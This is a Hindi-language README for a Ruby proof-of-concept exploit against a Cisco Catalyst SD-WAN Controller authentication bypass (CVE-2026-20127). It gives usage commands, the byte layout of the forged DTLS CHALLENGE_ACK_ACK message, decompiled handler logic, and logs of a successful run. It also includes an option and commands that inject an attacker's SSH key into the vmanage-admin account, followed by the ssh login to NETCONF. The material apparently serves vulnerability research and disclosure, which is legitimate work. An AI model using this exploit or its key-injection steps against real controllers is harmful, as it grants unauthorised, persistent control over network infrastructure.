
Cisco Catalyst SD-WAN Controller प्रमाणीकरण बायपास (CVE-2026-20127) के लिए एक्सप्लॉइट जो DTLS CHALLENGE_ACK_ACK संदेशों को जाली बनाकर अनधिकृत पहुंच प्राप्त करता है और SSH कुंजियाँ इंजेक्ट करता है।
Cisco Catalyst SD-WAN Controller प्रमाणीकरण बायपास भेद्यता, CVE-2026-20127 के लिए एक एक्सप्लॉइट।
यह एक्सप्लॉइट vbond_proc_challenge_ack_ack() हैंडलर को लक्षित करता है। यह हमलावर-नियंत्रित verify_status=1 बाइट के साथ एक जाली CHALLENGE_ACK_ACK संदेश (msg_type=10) भेजता है, जो सीधे सर्वर को पीयर एंट्री पर authenticated=1 सेट करने के लिए मजबूर करता है।
सामान्य DTLS कंट्रोल-प्लेन हैंडशेक में:
CHALLENGE (msg_type=8) भेजता हैCHALLENGE_ACK (msg_type=9) के साथ प्रतिक्रिया देता हैverify_status=1 के साथ (msg_type=10) भेजता हैCHALLENGE_ACK_ACKयह एक्सप्लॉइट प्रवाह को शॉर्ट-सर्किट करता है:
CHALLENGE भेजता हैverify_status=1 के साथ CHALLENGE_ACK_ACK (msg_type=10) भेजता हैvbond_proc_challenge_ack_ack() संदेश बॉडी से verify_status पढ़ता है — यह हमलावर-नियंत्रित हैverify_status != 0, सर्वर authenticated=1 सेट करता है (*(BYTE*)(a2+70) = 1)vbond_proc_msg() में प्रमाणीकरण गेट msg_type=10 को प्रमाणीकरण जांच से छूट देता है, इसलिए यह तब भी काम करता है जब पीयर अभी तक प्रमाणित नहीं है।
Cisco Catalyst SD-WAN Controller (उर्फ vSmart), संस्करण 20.15.3 के विरुद्ध सफलतापूर्वक परीक्षण किया गया।
पैच किए गए Cisco Catalyst SD-WAN Controller (उर्फ vSmart), संस्करण 20.12.6.1 के विरुद्ध विफल होने का परीक्षण किया गया।
Usage: ./bin/vdaemon_exploit TARGET [options]
vdaemon DTLS Authentication Bypass PoC (CVE-2026-20127)
This exploit targets the vbond_proc_challenge_ack_ack() handler.
It sends a forged CHALLENGE_ACK_ACK with verify_status=1, causing
the server to set authenticated=1 without certificate verification.
-p, --port PORT DTLS port (default: 12346)
--inject-key Generate and inject SSH key into vmanage-admin authorized_keys
--ssh-key PUBKEY_FILE Path to SSH public key file to inject
--cert CERT_FILE Path to PEM certificate file for DTLS handshake
--cert-key KEY_FILE Path to PEM private key file for DTLS handshake (used with --cert)
--data-dir DIR Directory for generated keys/certs (default: ./data/)
Examples:
./bin/vdaemon_exploit 192.168.86.166
./bin/vdaemon_exploit 192.168.86.166 --inject-key
./bin/vdaemon_exploit 192.168.86.166 --ssh-key ~/.ssh/id_rsa.pub
./bin/vdaemon_exploit 192.168.86.166 --cert ./data/cert.pem --cert-key ./data/key.pem
# Install dependencies
bundle install
# Run exploit - Test the auth bypass
ruby ./bin/vdaemon_exploit 192.168.86.166
# Run exploit - Leverage the auth bypass to inject an SSH key
ruby ./bin/vdaemon_exploit 192.168.86.166 --inject-key
# Leverage SSH key - Login to NETCONF as vmanage-admin
ssh -i ./data/ssh/attacker_ssh_20260306_141607 [email protected] -p 830
निम्नलिखित स्क्रीनशॉट सफल शोषण और उसके बाद NETCONF सेवा तक SSH पहुंच दिखाता है:

vbond_proc_challenge_ack_ack()vdaemon (20.12.5) में पते 0x38AB7 पर स्थित। यह फ़ंक्शन आने वाले CHALLENGE_ACK_ACK संदेशों को संसाधित करता है और इसमें ये प्रमुख जांचें हैं:
a2+112): अस्वीकार करता है यदि इस पीयर के लिए पहले से CHALLENGE_ACK_ACK संसाधित किया गया था। पहली बार, यह काउंटर 0 है → पास हो जाता है।a1+8 == 4): यदि स्थानीय डिवाइस vBond है तो 20 लौटाता है। हम vSmart (type=3) को लक्षित करते हैं → पास हो जाता है।a3+32): संदेश बॉडी का पहला बाइट पढ़ता है। यदि शून्य है → अस्वीकृति पथ (पीयर विलोपन)। यदि गैर-शून्य है → *(BYTE*)(a2+70) = 1 (प्रमाणित) सेट करता है।महत्वपूर्ण दोष: verify_status सीधे हमलावर-नियंत्रित संदेश बॉडी से आता है जिसमें कोई सर्वर-साइड सत्यापन नहीं होता है। फ़ंक्शन सत्यापन स्थिति के बारे में पीयर के दावे पर भरोसा करता है।
vbond_proc_msg() में, प्रमाणीकरण गेट जो अप्रमाणित पीयर को अधिकांश संदेश प्रकार भेजने से रोकता है, स्पष्ट रूप से msg_type=10 (CHALLENGE_ACK_ACK) को छूट देता है। यह वैध प्रोटोकॉल प्रवाह के लिए आवश्यक है (सर्वर प्रमाणीकरण पूरा होने से पहले क्लाइंट को ACK_ACK भेजता है), लेकिन यह एक हमलावर को सर्वर को जाली ACK_ACK भेजने की भी अनुमति देता है।
एक्सप्लॉइट 14-बाइट संदेश भेजता है:
Header (12 bytes):
Byte 0: 0x0A (version=0, msg_type=10/CHALLENGE_ACK_ACK)
Byte 1: 0x30 (device_type=3/vSmart << 4)
Byte 2: 0xA0 (flags)
Byte 3: 0x00 (reserved)
Bytes 4-7: domain_id (big-endian u32, default: 1)
Bytes 8-11: site_id (big-endian u32, default: 100)
Body (2 bytes):
Byte 0: 0x01 (verify_status = 1 / TRUE)
Byte 1: 0x00 (reserved)
इस उदाहरण में, लक्ष्य Cisco Catalyst SD-WAN Controller (उर्फ vSmart), संस्करण 20.15.3 था। लक्ष्य का IP पता 192.168.86.166 था और हमलावर का IP पता 192.168.86.35 था।
लॉग फ़ाइल /var/log/vsyslog ने ये संदेश दर्ज किए:
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart generated-at:3-9-2026T15:2:24
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down generated-at:3-9-2026T15:2:24
लॉग फ़ाइल /var/log/vdebug ने ये संदेश दर्ज किए:
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[497]: [VDAEMON_DBG_SSL-5] ssl 0x7fdc8a4b2000 ssl_version 65277 protocol_version 7 cipher_name ECDHE-RSA-AES256-GCM-SHA384 is_server true cipher_bits 256 cipher_desc "ECDHE-RSA-AES256-GCM-SHA384 TLSv1.2 Kx=ECDH Au=RSA Enc=AESGCM(256) Mac=AEAD
"
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_peer_ssl_snapshot_info[506]: [VDAEMON_DBG_SSL-5] local_cert: "RSA"(6) bits:2048 sec_bits:112 peer_cert: "RSA"(6) bits:2048 sec_bits:112 local_tmp: not filled peer_tmp: "ECDH"(408) ec_group "P-521" (716) bits:521 sec_bits:260
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_handshake_event_cb[1436]: [VDAEMON_DBG_CERT-5] Get CA RSA Public key
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vbond_proc_msg[5747]: [VDAEMON_DBG_MISC-3] Migrating .. sys_ip :: vmanage_sys_ip 0.0.0.0
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:00" new-state:up generated-at:3-9-2026T15:2:12
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_send_register_to_vmanage[7133]: [VDAEMON_DBG_PKT-5] Sending register_to_vmanage
Mar 9 15:02:12 testvsmart VDAEMON_0[1488]: vdaemon_reset_cfg_push_request[6225]: [VDAEMON_DBG_MISC-5] /var/confd/.backup/vmanage_cfg_push_request does not exist
Mar 9 15:02:13 testvsmart VDAEMON_1[1483]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 23 wan_if eth0_v6
Mar 9 15:02:13 testvsmart VDAEMON_1[1483]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar 9 15:02:13 testvsmart VDAEMON_0[1488]: vdaemon_vbond_poke_a_hole[5861]: [VDAEMON_DBG_PKT-3] poke-a-hole is not possible for FD 22 wan_if eth0_v6
Mar 9 15:02:13 testvsmart VDAEMON_0[1488]: vbond_peer_create[1773]: [VDAEMON_DBG_MISC-3] Incompatible peer:Local intf name: eth0_v6 peer ip: 192.168.86.134
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: vbond_peer_timer_exp_cb[584]: [VDAEMON_DBG_EVENTS-3] Timing out peer 192.168.86.35:52521 on eth0
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-2-CRIT-1400002: Notification: control-no-active-vsmart severity-level:critical host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart generated-at:3-9-2026T15:2:24
Mar 9 15:02:24 testvsmart VDAEMON_0[1488]: %Viptela-testvsmart-vdaemon_0-5-NTCE-1400002: Notification: control-connection-state-change severity-level:major host-name:"testvsmart" system-ip:1.1.1.2 personality:vsmart peer-type:vsmart peer-system-ip::: peer-vmanage-system-ip:0.0.0.0 public-ip:192.168.86.35 public-port:52521 src-color:public-internet remote-color:(null) uptime:"0:00:00:12" new-state:down generated-at:3-9-2026T15:2:24
एक्सप्लॉइट का सफलतापूर्वक उपयोग करने के बाद, दूरस्थ हमलावर नए अपलोड किए गए vmanage-admin उपयोगकर्ता की SSH कुंजी का लाभ उठाकर TCP पोर्ट 830 पर SSH के माध्यम से NETCONF सेवा में लॉगिन कर सकता है। लॉग फ़ाइल /var/log/auth.log ने ये संदेश दर्ज किए:
Mar 9 15:02:24 testvsmart sshd[4838]: Accepted publickey for vmanage-admin from 192.168.86.35 port 52135 ssh2: RSA SHA256:5gvFG8VrVRpc/fX6PDd2vDfTj63jcIgbiWvSRTrlqBo
Mar 9 15:02:24 testvsmart sshd[4838]: pam_unix(sshd:session): session opened for user vmanage-admin(uid=1001) by (uid=0)